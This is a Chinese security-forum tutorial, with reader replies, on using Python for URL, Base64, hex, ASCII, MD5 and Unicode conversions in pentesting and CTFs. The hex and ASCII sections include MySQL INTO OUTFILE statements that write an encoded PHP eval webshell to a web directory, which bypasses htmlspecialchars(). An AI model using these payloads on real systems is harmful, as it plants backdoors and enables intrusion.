用户
搜索
  • TA的每日心情
    无聊
    2017-3-1 18:47
  • 签到天数: 38 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    11

    主题

    121

    帖子

    643

    魔法币
    收听
    4
    粉丝
    8
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2017-4-11 21:21:42 1941941
    本帖最后由 ohlinge 于 2017-4-13 05:32 编辑
    文章难易度【★★
    文章阅读点/知识点: python、编码转换
    文章作者: 0h1in9e
    本文参与i春秋社区原创文章奖励计划,未经许可禁止转载

    0x01 前言
    在日常渗透,漏洞挖掘,甚至是CTF比赛中,会遇到各种编码,常常伴随着这些编码之间的各种转换。记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。
    QQ20170411-200238.png

    QQ20170411-210925.png

    直到使用python来作为我日常编码转换工具……

    0x02 开启py转换之旅
    url编码
    url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

    [Python] 纯文本查看 复制代码
    >>> from urllib import *
    >>> quote("union select null,null,null")
    'union%20select%20null%2Cnull%2Cnull'
    >>> unquote("union%20select%20null%2Cnull%2Cnull")
    'union select null,null,null'
    >>> urlencode({'x':'2333','y':'666'})
    'y=666&x=2333'


    Base64
    Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

    [Python] 纯文本查看 复制代码
    >>> import base64
    >>> base64.b64encode("admin")
    'YWRtaW4='
    >>> base64.b64decode('YWRtaW4=')
    'admin'

    记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:
    [Python] 纯文本查看 复制代码
    >>> import base64
    >>> base64.b32encode('jjjjj')
    'NJVGU2TK'
    >>> base64.b32decode('NJVGU2TK')
    'jjjjj'
    


    Hex
    十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

    比如:
    [SQL] 纯文本查看 复制代码
    select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

    下面是python实现hex加解密的方法:
    [Python] 纯文本查看 复制代码
    >>> '<?php @eval($_POST[a]); ?>'.encode('hex')
    '3c3f70687020406576616c28245f504f53545b615d293b203f3e'
    >>>
    >>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
    <?php @eval($_POST[a]); ?>


    Ascii
    MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。
    比如:
    [SQL] 纯文本查看 复制代码
    select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

    使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:
    [Python] 纯文本查看 复制代码
    >>> map(ord, "<?php phpinfo() ?>")
    [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
    
    >>> print chr(112)
    p
    
    >>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
    >>> print ''.join(map(chr,l))       #这里采用pcat表哥指出的方法
    <?php phpinfo() ?>


    Md5
    md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

    [Python] 纯文本查看 复制代码
    >>> from hashlib import md5
    >>> m = md5()
    >>> m.update('this is a secret')
    >>> m.hexdigest()
    '7dbbcee180ba4d456e4aa1cfbdad9c7b'
    
    >>> m.hexdigest()[8:-8]
    '80ba4d456e4aa1cf'
    >>>


    Unicode转中文
    unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

    [Python] 纯文本查看 复制代码
    >>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
    你需要重新登陆



    0x03 后记
    python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。

    本帖被以下淘专辑推荐:

    欢迎访问我的博客 https://www.ohlinge.cn
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 8#
    发表于 2017-4-13 11:18:57
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    奖金
    点评
    50
    不错,可惜安全方面的内容太少。

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋-楚:533191896
    i春秋-燕:129821314
    i春秋-齐:417360103
    i春秋-秦:262108018
    使用道具 举报 回复
    发表于 2017-4-15 13:29:17
    ohlinge 发表于 2017-4-12 05:57
    是的。感谢指出。如果你有好的方案,期待你的补充

    select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62)  这就是最方便的Ascii解码方法,编码的话,火狐的hackbar也方便
    此间少年
    使用道具 举报 回复
    发表于 2017-4-16 10:54:30
    本帖最后由 ohlinge 于 2017-4-16 02:55 编辑
    whoamiecho 发表于 2017-4-15 05:29
    select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97,  ...

    是啊,也可以直接就用char函数来解码啊:。感谢学长指出
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2017-4-12 13:57:57
    pcat 发表于 2017-4-12 05:11
    文中有一处写得不好,for里print chr(i),输出绝对不是一行的。

    是的。感谢指出。如果你有好的方案,期待你的补充
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2017-4-13 01:11:20
    ohlinge 发表于 2017-4-12 13:57
    是的。感谢指出。如果你有好的方案,期待你的补充

    print ''.join(map(chr,l))
    使用道具 举报 回复
    发表于 2017-4-14 21:04:54
    pcat 发表于 2017-4-12 13:11
    文中有一处写得不好,for里print chr(i),输出绝对不是一行的。

    黑猫表哥
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    我是salf 来自手机 i春秋作家 从未进过后台和拿过shell i春秋签约作者
    沙发
    发表于 2017-4-12 02:50:01
    学到了
    使用道具 举报 回复
    发表于 2017-4-12 11:28:52
    就上次补天深圳站就是base32.....
    使用道具 举报 回复
    发表于 2017-4-12 13:11:52
    文中有一处写得不好,for里print chr(i),输出绝对不是一行的。
    使用道具 举报 回复
    发表于 2017-4-12 15:57:21
    学习到了
    使用道具 举报 回复
    发表于 2017-4-13 13:25:14
    本帖最后由 ohlinge 于 2017-4-13 05:26 编辑
    pcat 发表于 2017-4-12 17:11
    print ''.join(map(chr,l))

    不错,感谢pcat表哥指正
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2017-4-15 00:32:13
    练练加深印象
    no pain no gain
    使用道具 举报 回复
    Python编码这方面不是很好
    使用道具 举报 回复
    发表于 2017-4-17 15:28:15
    是的  支持python
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册